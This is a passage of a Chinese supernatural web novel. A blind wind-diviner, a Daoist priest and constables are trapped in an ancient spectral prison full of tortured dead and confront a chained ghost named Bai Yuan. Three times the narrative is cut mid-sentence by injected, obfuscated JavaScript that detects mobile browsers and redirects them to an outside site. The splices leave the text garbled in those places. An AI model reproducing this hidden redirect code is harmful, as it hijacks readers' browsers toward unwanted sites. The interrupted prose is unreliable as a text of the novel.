衙役点头如捣蒜:“对呀,咱得赶紧离开这儿。” 说话间几人不约而同往前走,陆秉四下张望,视线穿不透如同帐幕般的白雾,既看不清地形也看不见前方是否有道路:“怎么离开?” 此问一出,所有人齐齐扭头看向周雅人。 方道长朝他恭敬开口:“方才危急关头,多亏道友及时出手相救,我等才幸免于难,没有被洪流卷走,所以咱们应该都是被您带入这太阴/道体之中的吧,既然风行无所不入,那风行也该无所不出?” 周雅人居然从方道长这话里话外听出几分好笑来:“我们方才所在之地属于道法之境中的坎位……” 方道长脑筋转得快,一点就透:“所以您方才御风,正好是巽入坎门,风入道境。” 周雅人不置可否:“而且我方才占风……” 话到一半,他蓦地顿住,脚下驻足。 方道长觑对方稍显凝重的神色,没敢追问,而是静待下文。倒是一旁两耳不闻天下事的黑子不懂就问:“占风是什么意思?” 陆秉以前常跟周雅人混在一起,这个倒是略知一二:“就是风角之术,候四方四隅之风,以占吉凶。” 宫中年年行各种祭祀礼仪或者出征打仗,都会命周雅人听风望气占侯吉凶,以佐时政。 黑子闻言,目光如炬地看向周雅人:“那您刚才占风是吉是凶?” 只有旁边的衙役觉着这位双目失明的瞽师好像在盯着什么,因此他有些奇怪的转过头,顺着对方的视线落到迷雾中的某处,顿时大惊失色,舌头都大了:“头头头儿……” 众人转向他,又顺着他惊惧万分的视线看过去,都不淡定了,黑子也被传染了大舌头:“那那那……” 且见茫茫雾霭之中,隐约出现了一座肃穆沉寂的建筑。 许是离得很近,又或是白雾比之前散了很多,此刻他们居然能大致看清这座建筑的轮廓。 正是因为大致看清了,才令众人胆寒惊惧,因为这门脸儿完全与鬼衙门如出一辙。 陆秉也差点说不完整一句话:“鬼、鬼、鬼衙门。” “这是北屈吗?”黑子声音发着抖,“咱们其实就在城里吗头儿?” 衙役试探着问:“那是不是——咱们就可以直接回去了啊?” 说话间众人四下张望,仿佛在印证什么似的。 “不对啊,”黑子指着鬼衙门一旁道,“我记得,那里应该有个废弃的老宅子啊。” 衙役瑟瑟发抖:“不,那里应该有好几间老宅子。” 因为鬼衙门在此,周围的百姓不敢住在这儿,接二连三搬了家,所以临近有几处废弃的民宅,很是破旧了。 可是如今鬼衙门周遭什么都没有,完全独处于荒郊野岭之中。 这未免太诡异了。 陆秉快挺不住了:“这到底怎么回事?” “别慌,”周雅人安抚他,简单明了的解释,“就是误入了道阵,你所见所闻不一定就有实质。” 黑子忙道:“也就是说,我看到的可能是假象?” 于常人而言,道法之境,境内乾坤,这种现象多半是理解不了的,便可以让人当成是幻觉。 周雅人没接话,但在他看来,鬼衙门的古井中有一轮太阴/道体,太阴/道体中有一座鬼衙门,既在意料之外,又在意料之中。 方道长显然也想到了这一层,此刻站在鬼衙门前,后脊背爬上一股心惊胆战的寒意,他有些艰涩地咽了口唾沫问:“您方才说起占风,结果是什么来着?” 几人之中,属周雅人的声音听上去最为沉稳:“占不出来。” 占不出来你还这么从容镇定得是什么境界啊,方道长惴惴不安地问:“为何?” “都是极阴之气。” 闻言,方道长倒吸一口凉气。 周雅人话锋一转,“方道长,可否劳烦你排一支卦。” 方道长脑子差点没能转过弯,简直跟不上他的节奏:“排……排卦……”这时候还排什么卦,“哦哦哦……可、可以。”对方风角之术占不出来,所以让他排一卦瞅瞅事态,方道长正欲掏铜钱,有些手忙脚乱的样子,他也闹不明白为什么如此心慌,结果周雅人递过来三枚铜钱给他。 “劳烦用这三枚。” 方道长心想用我自己的难道不行吗,接过一看,狐疑道:“咦,秦币?” 其余三人闻言齐齐凑过来,陆秉一下子认出方道长手里的三枚铜钱:“雅人,这难道是我从死牢里挖出来的那三枚秦币?你居然还给带出来了,还揣在身上?!” 方道长心惊:“这这,是你们从死牢里挖出来的?” “对,”周雅人转向陆秉,“你可还记得当时这三枚铜钱的正反朝向,有几枚的正面朝上?” “这……”陆秉思索着摇头,“朝上朝下的我当时完全没注意,你们两个注意了吗?” 两衙役同时摇头晃脑。 周雅人也不因此纠结:“那就烦请方道长用它起一支卦吧。” 方道长忍下心中疑虑,慎重而专注的排了支卦,排完,他霍地抬起头:“坎卦!” 周雅人不出所料:“方才我占不出风时,也用这三枚铜钱排出了与你相同的卦象。” 陆秉忍不住问:“那这卦象怎么样?是吉是凶?” 方道长言:“坎为水、为险,这是习坎,两坎相重叠,乃险上加险。” 周雅人也道:“习坎,入于坎窞(dàn:深坑),凶。” 方道长低头喃喃,自顾诵出一段爻辞释义:“窞,坎之深者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14361661|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也。江河难济,百川之流行乎地中,水之正也。及其为灾,则泛溢平地,而入于坎窞,是水失其道也。” 这让他不由想起方才突然掀起的洪涛,泛滥成灾,让他们身陷险穴。 “不对。”周雅人开口,“这一卦,不是在算我们的处境。” 方道长没明白:“我刚起的卦,不是我们是谁?” 周雅人道:“因为这一卦,原本就是排在鬼衙门死牢里的。” 方道长大惑不解:“道友此言何意?” “此为卦,亦为阵,这三枚秦币原本就是一道排在鬼衙门中的卦阵。”结果被陆秉不经意挖出来,周雅人断定,“以作刑狱。” “刑狱之用,必当于理,刑之正也。”方道长脸色骤变,因为那死牢中埋的诸多都是冤死之人,而此卦阵排在其上,岂不是:“及其不平,则枉滥无辜,是法失其道。” 故而“入于坎窞,凶”矣。 而再往下解卦爻,周雅人道:“系用徽纆(mò:绳索),寘(zhì:同‘置’)于丛棘,永不得出。” 徽纆是绑缚罪犯的绳索刑具,丛棘意为狱,因狱外种九棘,故称丛棘。 这意思是被囚放在荆棘丛生的牢狱之中,永不得出。 “永不得出——”方道长一颗心哽在了嗓子眼儿,“是会困住我们吗,还是……” “这都是卦象,落在此地而成卦阵,”周雅人脸上浮起阴翳之色,“如果我没猜错的话,此卦阵排在鬼衙门,伏埋冤死之躯,是为道法之刑狱。” 方道长竟一时说不上话来。 周雅人沉声问:“此乃太行道所为吗?” 方道长摇摇头,他也不知情:“兴许……兴许是之前,就是十二年前,不是有那什么邪祟作乱吗,我师父也束手无策,所以求助太行掌教下山,这事如果不这么办,怎么压得住。” “不对。”周雅人思索道,“说不通,此乃太阴/道体,道法刑狱,不是十二年前做下的,而是很久很久,很久之前形成的。” 方道长越听越紧张:“很久之前——是多久?” 周雅人攥着三枚秦半两,有了个不太确定的猜测:“秦?” 方道长震惊了:“秦朝。”然后他瞬间联想到这所鬼衙门的前身就是,“秦之狱地。” 他甚至也说过秦朝至今,里头的沉冤起码一千年了,这样已经是最稳妥的法子。 但是他压根儿不知道这底下还有个太阴/道体,只认为从秦朝至今,经过世世代代的累积,那牢狱里自然会有无数冤魂,在衙门里作祟就不觉稀奇,所以太行道就布了个阵法把鬼衙门封了。 但是,方道长道:“说实话,还望道友勿怪,在此之前,我并不相信这是您所谓的太阴/道体,因为这世上,天下间确实无人有本事筑一个道法之境,即便太行道天师掌教都没那么大能耐,但若说是上古,或是千年之前的秦时期,能人异士辈出,还真有这个可能。但这是怎么做到的呢?” “取石窝宝镜为太阴作灵龛,以水为镜鉴月影,置于坎位,积阴之寒气为水,水气之精者为月。” “竟是如此,”方道长屏住呼吸,“既然这太阴/道体为道法刑狱,那么这一爻,哦不,这一爻卦阵,系用徽纆,寘于丛棘,永不得出,也会永远困住我们吗?” 旁观的陆秉三人简直听傻了。 黑子的眼周顿时红了一圈,强忍着没哭出来,这一刻终于忍不住插嘴:“意思是说,我们出不去了?” 陆秉整颗心七上八下地乱跳,然后提心吊胆地望向最信任的好友,音量特别轻声地询问:“雅人?” 周雅人沉吟片刻:“进去看看吧,天无绝人之路。” 方道长连连点头:“对,天无绝人之路,我们是从鬼衙门的古井中掉进来的,现在进去找到那口古井再跳一次,说不定就回去了呢。” 20.圜丘台 然而方道长的如意算盘完全落空了,此地与鬼衙门的外观虽不甚差别,但一踏入,映入眼前的却是一道直插云际的仪门。 其中两扇门完全被焊死,唯独留下西侧一扇鬼门是打开的。 而墙体太高根本没办法像之前那样翻越过去,摆在面前的仅仅只有一条道,众人几乎傻了眼。 这可是专供死囚犯走的鬼门。 周雅人忆起鬼衙门这处仪门内,其余两扇门也是焊死的,贴着的封条上又叠加着一层朱砂符。他没做过多犹豫,率先踏入鬼门,其余人刚想发声,又即刻住了嘴跟上。 奇怪的是,这门后不见公堂,竟是一条长长的甬道,他们走了好一会儿,越走心里越发慌。 就在此刻,周雅人脚步一顿,远远映入眼帘的,竟是一扇盘踞着狴犴的狱门。 众人脸色惊疑不定,陆秉费解道:“这怎么……就直接到狱门口了?” “对啊,怎么不一样呢。”内里的构造跟北屈那座鬼衙门并不相同,衙役悚然道,“这地方,太邪门儿了。” 黑子焦灼不已:“那那口井呢?那口井还会在吗?我们不是还要跳井吗?!” 衙役附和:“对啊,不跳井我们怎么回去?!” 周雅人蓦地想起来,他之前见过这一幕…… 秦三冲向死牢洞口,纤细的身体在月光中拼命似的狂奔,一拨人则前赴后继地追,踩着洒下的银辉…… 迎面起了一阵风,从不大的洞口灌进来,掀到他们脸上,挟着潮润的寒气,和一声凄婉的低吟:“我是冤枉的——” 那声低吟悠远极了,像隔着山,隔着海,隔着两个不同的时空,嘈杂的喊冤声潮水般涌过来: “我是被冤枉的——” “冤枉啊——” “我冤啊——” 明明喊得撕心裂肺,可传入耳中时却只剩下一点残留的余音,不高亢也不尖锐。 而那股潮润的寒气卷进周雅人怀中,灌进别在他腰间的律管里,响了个低沉短促的轻音。周雅人脚步蓦地一顿,然后望见长长的窄道尽头,轻如薄纱的银色月华中,隐约显出一扇蛰伏着虎兽的门——狴犴门。 他仿佛再一次听见了那些凄婉的声音,还有律管断断续续又响起的音节,有些喑哑,融在风里几不可闻。 南风。 死声。 穿过那扇门。 他骤然疾步往前,朝着那扇狱门而去。 陆秉一时没反应过来,怎么突然走那么快:“雅人。” “道友!”方道长急追上去,“不对劲儿!” 这鬼地方哪儿哪儿都不对劲儿,两衙役可不敢被甩在后头,可劲儿往前冲,四人一拥而上,齐刷刷跟进狱门。就在他们迈入狱门的瞬间,发出了惊天泣地的叫声,两衙役一时没扛住眼前的场景,直接两眼一翻吓晕过去。 陆秉整个人绷得死死的,犹如一块硬铁,直直戳在原地,汗毛头发全竖了起来。结果被惊慌失措的方道长一撞,直挺挺倒下去,方道长伸胳膊一捞,死命抱住即将倒地的陆秉,哭爹喊娘道:“救命啊,要了老命啦。” 陆秉被他一嗓子喊回了魂儿,也被方道长两条胳膊勒得喘不上来气,惊恐万状的瞳孔急剧收缩,反手就跟方道长搂成一团,上下牙膛直哆嗦,不对,浑身都哆嗦,两个人搂在一起抖如筛糠:“死死死死……” 死人。 周雅人看见,这狱中全是惨死之人。 他们死状各异,有的被斩首,脖子上的血洞碗口那么大,鲜血淌满其胸口,一颗颗头颅滚落在地,堆积如山,瞪着死不瞑目的双眼,分不清谁是谁的头;有的皮开肉绽,浑身都是刑虐之后的鞭伤;有的被剜去双目,割去鼻子,或拔了舌头;有的挑断手脚,断手断足;有的胸口印着烙铁的疤…… 一眼望去,惨死者数不胜数, 而这些惨死的人身上,全都戴着镣铐,套着枷锁。 周雅人一步步从他们身边迈过去,目睹所有残酷的死状,双眼酸涩难忍。 浓烈到发臭的血气灌进口鼻,让他呼吸艰涩,脑子里反复回响起那句:太阴黑簿——囚鬼灵。 周雅人就像行走在乱葬岗,万人坑,所见尽是遭受极刑而支离破碎的尸身,他们满身窟窿满身血污,鲜血映入瞳孔,让他那双原本比常人浅淡的瞳仁染上了赤色。 周雅人双腿就像坠着千斤石,脚步沉重地迈进深处,他身旁柱子上绑着具凌迟处死的人,浑身上下不剩一块肉,只裸露出一具被千刀万剐后的骨架子。 周雅人只匆匆扫过一眼,就紧紧拧起眉头,经过一处吊死在梁上的人…… 他一一看进去,顺着一根根捆锁住他们的长长铁锁,亦步亦趋迈向深处。 “雅、雅人,别……” 身后传来陆秉压抑而胆寒的声音,充满惧意。 陆秉甚至不敢大声喊他,刚一开口,就不敢再出声了,像是怕惊扰到这些惨死之人。 他在衙门里当差,不是没见过这些,平日一具两具他能适应,但成百上千具惨死者凑在一堆,可怖程度实在超乎想象。 陆秉刚刚差点吓死过去,此刻还紧紧搂着方道长松不开手。 方道长从小在人祖山修行,至多下山帮乡亲们算算卦开开光送送葬,也是头一次碰上这种场面,哪受得住这种刺激:“道、道友……” 方道长眼睁睁看着听风知越走越远,抱着陆捕头瞬间没了安全感,可他既没勇气跟上去,又不敢待在原地,着实有种前怕狼后怕虎的纠结和顾忌。方道长权衡之下,想退出去,结果一回头,发现那道狱门变成一口黑黢黢望不到尽头的深洞,而洞口盘踞着一头面目狰狞的狴犴,正张着血盆大口等着吃人似的,渗得方道长忍不住打了个哆嗦,顿时也不敢退出去了。 方道长牙关一咬:“我们得跟着他。” 陆秉当然知道这里头最靠得住的是谁,他狠狠咽了口唾沫,努力想让自己镇定下来,然后他抬起一条僵硬到有些不听自己使唤的腿,小心翼翼踢了踢两个瘫倒在地的属下。 两衙役幽幽醒转,结果睁眼看见此等恐怖场景,差点再一次不省人事。 “啊啊啊,娘啊,救命啊,这里怎么有这么多死人……” 周雅人无视身后的动静,穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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传说皋陶曾是虞舜时的刑狱官,他制定出华夏第一部《狱典》,创刑造狱,划地为牢,成为最初囚禁犯人的囹圄。皋陶乃法之始祖,因此被后世奉为狱神。 周雅人自语:“原来鬼衙门死牢里那个阵法,是有人以皋陶之法相在此‘造狱’。” 方道长直眉愣眼地瞪着祭台:“这人生前是不是犯过什么不可饶恕的重罪,又在死后化作了什么怨气滔天的厉鬼凶邪,所以别人才会用皋陶造狱,以铭文做枷锁来困住她。” “不太对,”周雅人拧紧眉头,目光扫过祭台四周,“真正困住她的,好像是这些冤死之人。” 方道长这才惊觉,那些冤死之人的枷锁全都系在她一个人身上:“所谓冤有头债有主,难不成这些惨死之人,都跟她脱不了干系?” 一眼望去,她身上血债累累。 方道长这番话直戳要害,令周雅人心头发寒:“所以这太阴/道体,道法刑狱真正囚的是她?” 倘若真是如此,此人该是何等的罪大恶极! 21.狱门开 陆秉开口:“那现在怎么办?” 黑子颤巍巍跟同伴挤作一团,互搂着彼此壮胆:“当然是赶紧出去啊,这鬼地方我真的一刻都待不下去了。” 衙役紧闭双目,已经不敢睁眼看了,支棱住他不瘫地上的两条腿杆一个劲儿打颤:“出去出去,我快不行了。” 可是当他们走向来时的狱门,逃也似的穿过黑黢黢的冗长甬道时,却再次回到了死牢里。 所有人脑子“嗡”的一声,盯着面前死于各种刑杀的尸骸,全都傻愣住了。 方道长喃喃开口:“怎么又进来了?” 陆秉难以置信:“为什么?” “咱们是不是走错路了?”黑子慌得不行。 “没走错,”周雅人的声音保持着沉稳,“这里只有一扇狱门,甬道里既没岔道,也没拐弯。” “那怎么可能?” 周雅人能明显感应到:“这里的气流跟外界并不相通。” 方道长看着他,面色青白:“与世隔绝的意思吗?” “可以这么说,”他们现在完全被闷在一个密不透风的空间里,这个空间就是道法刑狱,哪怕再往出走多少遍,最终都会转回到原地。狱门看似敞开,实则并没有出路,周雅人在脑子里解析完目前状况,沉吟道,“我们暂时出不去了。” 陆秉忐忑极了,又不敢确定地开口重复:“暂时?” 黑子:“暂时是多久?” “你们在衙门里当差,收押过诸多犯人,应该都很清楚,但凡入了狱,本就是能进来,难出去。”周雅人有意宽慰大家,镇静得像根定海神针,“这里也是一座牢狱。” 陆秉忽地张口,声调无比压抑:“可这鬼地方不是县衙里普通的牢狱,这里没有出路。” 总不可能将他们跟这些死人关在一起。 周雅人顿了顿,他能感受到对方近乎崩溃的恐惧,从始至终一直一直在压抑,到如今显然快要挨不住了。 周雅人道:“这里是道阵,是阵就会有生门,我和方道长会想办法。” 惊惧不已的方道长突然听到对方居然捎带上自己,简直受宠若惊,他万万没想到听风知竟如此看得起自己,立刻振作起精神,硬着头皮应承:“对对对,我还是懂一些五行八卦之类的,一定能帮忙找到出去的办法。” 陆秉觑他一眼,很想说,方道长,你刚才也给吓得不轻,那惨叫声可不比谁小。 但是陆秉忍住了没拆对方的台,毕竟现在这种境况不是抬杠的时候。 方道长再不济,也是正经八百的修道之人,所谓术业有专攻,怎么也比他们仨只会舞刀弄棍的衙役强。 就是跟无数死状各异的尸骸共处一室太受煎熬。 方道长强忍着腿软将此处查看一番,却怎么都看不出名堂,它完全就属于一个不露马脚的整体,连方位都难以辨清。 最终他将目光定格在祭台中心,整个人不由自主打了个寒噤,总感觉那绑在祭台上的女人比这些身首异处的尸骸更加可怕。 但是听风知站在祭台边缘查看铭文,方道长便犹犹豫豫蹭过去,也学着模有样地看了半晌,实在看不懂,遂问:“道友可认得?” 周雅人摇头:“不曾见过,这是一种非常古老的铭文,既然能形成枷锁缚住她,应当是一种刑咒。” 既然都不认识,还能看这么半天,这不白瞎吗。 想到瞎,方道长猛地反应过来,他从之前就隐约有种古怪的感觉,但由于惊吓过度始终没能反应过来,直到这一刻,他死死盯住周雅人的眼睛:“您不是——看不见吗?” 周雅人顿了顿,然后不以为意道:“我在这里能看见。” 方道长震惊得差点说不出话:“难道您是那什么,阴阳……” “不是阴阳眼,”周雅人解释,“我只能看得见阴物。”而这个地方就像在阴间。 方道长心道:太不可思议了。嘴上问:“您是天生的吗?” 他实在太好奇了,想往前两步,靠近周雅人仔细端详那双不可思议的眼睛,平常看着瞳色比较浅。 结果方道长没注意脚下,不小心勾住了两根锁链,哗啦一声,整个人重心不稳地往前扑。 周雅人眼疾手快撑住他,而与此同时,四周掀起一阵诡异无常的阴风,被绑在祭台中心的女人倏地睁开了眼睛。 方道长甚至还没来得及站稳,脚下的铁锁骤然发难,蛇一样绞缠住他的小腿,狠狠一拽,方道长大惊失色,整个人被拖了出去。 他甚至来不及扣住周雅人撑他的手,猝不及防抓了一下,却抓了个空,随即反应迅速的抽出佩剑挥力一砍,且听哐当一声,坚不可摧的铁锁连一丝划痕都没有。 变故陡生,周雅人一把抓住两根铁锁反向一绕,方道长被绞紧的小腿顿时挣脱出来。 然而铁锁却顺势往周雅人的手臂上缠绕,犹如一条灵活的毒蛇盘上其胳膊,手臂顿时传来一阵绞痛,没给他留半点反应时间,周雅人猛地被拽飞了出去。 方道长惊呼出声:“道友!”刚想伸手拉住人,结果身旁一条铁链如同长鞭一般抽过来。 方道长脚下急退,却防不胜防,后背硬生生挨了一铁鞭,道袍直接被割裂,内里皮开肉绽,那股子剧痛让他哀呼出声。 站在远处的陆秉等人完全没反应过来发生了什么,就见方道长被一铁鞭抽飞出去,身体重重摔在地上,而周雅人双脚离地,飞撞向祭台中心…… 周雅人瞠目,骤然对上祭台中那个女人的眼睛,心头大震。 是她! 是那个在鬼衙门的阎罗殿前,被孙绣娘以铜镜为媒介血祭出来的女人,她曾在孙绣娘的尸身之上凝出形态,薄透如雾,像从血里长出来的阴魂,白惨惨,阴森森。 亦如现在这般,她的面皮同纸一样惨白,阴冷的双目仿若冰冻百尺的寒渊,只遥遥隔空对视一眼,就让周雅人遍体生寒。 她双唇轻启,阴冷地吐出两个字:“活的。” 眼看就要一头撞上去,周雅人奋力一挣抽出胳膊,手臂间已被勒出好几圈青紫。 未等他有片刻喘息,接二连三的铁鞭横劈而至。 周雅人猛地旋身,铁鞭凌厉地从他耳畔擦过,带着股强劲的风啸,又从其身后左右接踵而来,令他左支右绌。 最后闪躲不及,一根铁锁霍地绞住脖子,勒得他差点窒息。 周雅人翻了个跟头挣脱出来,另一根铁锁立刻绕在了腰间,然后是双腿被缚,拽着他重重摔砸在地上。 周雅人顾不上疼,广袖一拂,甩出一道风刃撞开袭来的铁鞭。 且听铿锵一声,好似刀剑相接,风刃继而朝着祭台中心的女人狠削过去。 那女人面不改色,只缓慢眨了一下寒渊似的眼,剑气般的风刃便立刻化作一缕无害的柔风拂过其面颊,只轻轻撩拨起她腮边的青丝:“御风术。” 周雅人趁机挣脱脚腕的束缚,接连甩出数道风刃。 那女人明明被铁锁捆绑,看起来毫无还手之力,可数道风刃杀出去,却不能伤及她分毫。 那风刃滞在其面门处,又叛变似的朝周雅人反杀回来,甚至在虚空中镀了层淡淡的霜白之气,像极了雪白铮亮的薄刃,闪着杀人不眨眼的寒芒。 周雅人挥手一拂,那寒芒般的气劲虽被扫荡开去,但还是锋利无比的划破了他一点袖管和皮肤。 缠在腰间的那根铁锁将他往前猛拽,周雅人根本站不住脚,情急之下抽出律管,在圜丘祭台之中搅动风气,尽数吹纳入律管,响起乐音。 “乐生于音,音生于律, 律生于风。” 然而这凄婉无比的音律却令周雅人心头一沉:“死声!” 这里只有阴寒之极的死气,当然也只有死声,女人的嘴角噙着一抹若有似无的浅笑:“不然呢?你想听什么?” 她笑得周雅人后背发凉。 那死声响在密闭的刑狱之中,荡出凄绝的回音,摧枯拉朽般的气流便朝着祭台中心横扫而去。 女人扬起了头,目光一凛,挟着股狠戾的杀伐气,质问:“活人是怎么闯进来的?” 话音刚落,束缚住她的铁锁尽数炸起,另一端拽着无数具尸体被一并拽上了半空,齐齐涌向周雅人:“我这个地方除了死魂,还是头一次招待活人。” 突然的诈尸场面让陆秉等人三魂没了七魄,差点原地死过去,黑子□□一湿,直接吓尿了,抖如筛糠地认出那女人阴森骇然的脸:“鬼……鬼……” 这不就是鬼衙门那个女鬼吗?! 方道长瞳孔剧震,忍着后背的剧痛刚爬起来,又被诈起的尸身铁锁撞倒在地,他手忙脚乱地捡起甩出去的剑,正好与旁边一具无头尸撞上。 音律陡然转利,荡开袭向周雅人的十数具惨死之尸,再次扫向祭台之人。 周雅人的耳朵却好似要炸开一般,那死声如雷灌耳,仿佛成千上万的哭喊与嘶吼,甚至裹着如泣如诉的央求,绝望至死。 “冤枉——” “冤枉——” “冤枉——” 那死声声如洪钟,刺穿耳膜扎入神经,让他再也听不清一点周围的声音,甚至听不见自己的发问:“你究竟是什么东西?这些人可都因你枉死?!” 然后他看见那女人冷冷一笑,张开口,似乎说了句什么,但是他听不见,耳边只有惊天泣地的死声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379781|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周雅人被那抹冷笑深深刺痛了,眼中逐渐漫上一层血丝,这些人曾在冤狱中苦苦挣扎,最后含冤而死,死后依旧不得解脱。 周雅人扫过铁锁的两端,明明所有的孽债全都系在她一人身上,她却只以冷笑置之,究竟是有多冷的心,多凉的血?! 周雅人盯住她,眼底迸发出一股凛冽的杀意。 听风知御风,风可随意动,自周身卷起层层杀意,化作无数风刀剑气,密密麻麻地朝那人飞刺而去。 她既不算作人,也不是什么良善之辈,那便没有留情的必要。 女人仰起苍白的脸,在风刃围剿的瞬间怔了一霎,凌厉的剑风挟着意为诛戮的风语咒,即便中途被她化去万千杀意,也还是被数道没能化尽的风咒快刀似的剖进肺腑,像被烧红的铁剑狠狠捅进体内,几乎要将她活生生烧穿。 而祭台上全是被风刃削过的刀痕。 即便如此,那女人也没吭半声,倒是惊吓过度的其余几人嚎得撕心裂肺,两衙役一声高过一声地嚎叫着“鬼啊鬼啊”,几乎吓疯过去。 方道长心慌气短转过头,眼眶倏地瞪圆:“狱门,快,陆捕头,狱门开了!” 陆秉三魂七魄还没来得及归位,完全是顺着方道长的喊话扭过头,根本没能分清楚什么状况,直到看见原本漆黑的狱门尽头映出一点微弱的银光。 “快!赶紧走!”方道长厉喝一声,又朝祭台上酣战的周雅人大喊:“道友!听风知!狱门开了,快走!” 陆秉已然回过神:“雅人,雅人。” “走啊,赶紧的,快走。”方道长一边喊一边冲过去,中途顺便捡起吓瘫在地的黑子,黑子整个人软成一摊没骨头的烂肉,方道长费了九牛二虎之力将人架起来,结果发现对方的□□湿了一大片,此刻还在淋淋漓漓地滴水。 方道长大为震惊,低头看了眼黑子画的“地图”,又抬头看了眼正对的狱门,瞬间醍醐灌顶,大彻大悟:“你小子,还是个童子□□?!” 一泡童子尿居然正巧冲开了密不透风的阴狱,但是方道长没功夫揣摩这到底触及了什么原理,好不容易开启狱门,当然是逃命要紧。 黑子完全没反应过来对方所谓的童子鸡是什么意思,两条腿软得跟面条似的,压根儿站不住,只能被对方架着走。 而身处战局中的周雅人被“死声”塞住了双耳,根本没听见方道长那一嗓子近乎咆哮的呐喊,但是祭坛中的女人听见了,她微微侧首,数根铁锁便随着她的视线伸出去,将即将逃至狱门的几人囫囵捆了。 方道长架着黑子跟一具惨死的尸身绑在了同一根铁锁上,正欲挣扎反抗,可剑刚抽出来一半,那铁锁立即收紧,直接把两人一尸绑成一捆相拥的柴火堆,扎成个死结,黑子还没开始叫,就翻着白眼吓晕了过去。 衙役张牙舞爪地想抓住什么,结果五指扒在地上,被铁索狠狠一拖拽,扣住地面的五颗甲片直接撬翻,疼得衙役嘶声惨嚎。 而要命的铁锁直接绞在了陆秉脖子上,勒得他瞬间涨红了脸,双手徒劳地撕扯着颈间铁锁,连半口气都喘不上来。 四个人无一逃脱全被拖进了圜丘祭台,五花大绑地扔到了周雅人眼皮子底下。 陆秉眼翻白眼,额角青筋暴突,整张面皮涨成猪肝色,下一刻就要窒息而亡。 “陆秉!”周雅人神色一凛,语气因太过紧张担忧走了音,于是阵盘中的风刃尽数逆向而行,长刀似的斩断了勒住陆秉脖子的铁锁。 女人神色骤变,倏地转头盯住周雅人,难以置信似的。 陆秉猛地呛进一口气,然而还不等他喘息咳嗽,又一条铁锁绞上了脖颈,接着第二根第三根第四根……全都绞在了四个人的脖子上! 周雅人脸色大变,手中律管一收,强行从一片震耳欲聋的“死声”中挣扎出来,却被铁鞭抽翻在地,肩颈顿时豁开一道深长的伤,涌出的鲜血将雪白的领口洇红。 女子阴沉无比地看着他,令铁锁嵌进对方豁开的血肉里,越收越紧,越勒越深:“你能乖乖的不反抗么?” 周雅人咬紧牙关忍住痛,耳边嗡鸣不断,勉强才听清对方说的话:“你想干什么?” “你不想让他们给我陪葬吧?” 其余四人被铁锁狠狠勒着脖子吊在祭台上,气管牢牢扎紧了,只留了一点点可以漏风的狭窄缝隙供他们呼吸,不至于立刻就窒息而亡,但脸色一个比一个紫胀。 威胁吗?周雅人脑中此念一闪,猛地明白过来对方的意图,是因为自己刚刚斩断了那根束缚住她的铭文枷锁,所以她是想…… 周雅人咬牙忍痛道:“你是想……” “我想出去。” 22.狴犴门 “我想出去。” 于她而言,眼前的青衣人是那把唯一能打开枷锁的“钥匙”。 周雅人疼得额头冒汗,抿紧了苍白的唇。 “不愿意吗?”女子审视他,“你们也可以永远留在这陪我。” 言罢,根根铁锁再次收紧,被吊在祭台上的陆秉等人翻着白眼一个劲儿蹬腿,嗓子里发不出半点声息。 嵌入周雅人伤口里的铁锁豁开血肉磨到了骨头,他咬紧牙关,双膝一屈,难以直立地跪在女子面前。 女子垂眸,居高临下看着他,像极了至高无上者垂眸看向蝼蚁般的苍生。 看着他在自己面前痛苦挣扎,最后做出尽在她掌握的抉择,为了同伴的性命,斩断那几根铭文枷锁。 人总是这样弱,顾及这个在乎那个,受不住半点胁迫。 周雅人沉声道:“果然,真正困住你的,是这些冤死之人。” 风刃一刀一刀斩断了囚禁她的枷锁,女子看向四周,目光有些涣散,她忽然神思不属地开口:“这一环又一环的,也不知费了多大功夫。” “所以你承认,这些人都是因你枉死。” 女子却反问:“他们枉死与我何干?!” 周雅人觑了眼无数惨死之象,攥紧那根深深勒入血肉里的铭文铁锁,就是这些铁锁将她囚禁在此:“冤有头债有主,这不就是你担的因果。” 他若是真的斩断枷锁将她放出去,岂不是为祸人间?! “我担的因果?”女子望进他眼底,那双眼睛仿佛能够洞穿他,“你不也是——戴罪之身。” 周雅人倏地睁大眼,颈窝处的鲜血顺着铁锁滴滴答答滑落在祭台上。 女子的语气散漫而阴冷:“嗯?身上带着冤屈呐,要我帮你吗?” 周雅人难以置信地看着她:“你到底是谁?” “我?”女人的尾音稍稍上扬,随即又阴沉地低下去,她说,“我叫白冤,不白之冤的那个白冤。” 周雅人瞠目:“不、白之冤。” “这身冤屈,你洗不清吧?”白冤一眨不眨望进他眼底,那目光专注到近乎有种深情款款的错觉,她极轻缓地告诉他,“自然是洗不清的,因为你的身上——担着刑劫。” 刑劫二字犹如砸落的惊雷,周雅人心脏猛地抽紧,眼前快速闪过自己身陷囹圄的曾经。 他被关在潮湿污秽且臭气熏天的死牢中,戴着沉重无比的手铐脚镣,遭受过严刑拷打,直至遍体鳞伤。 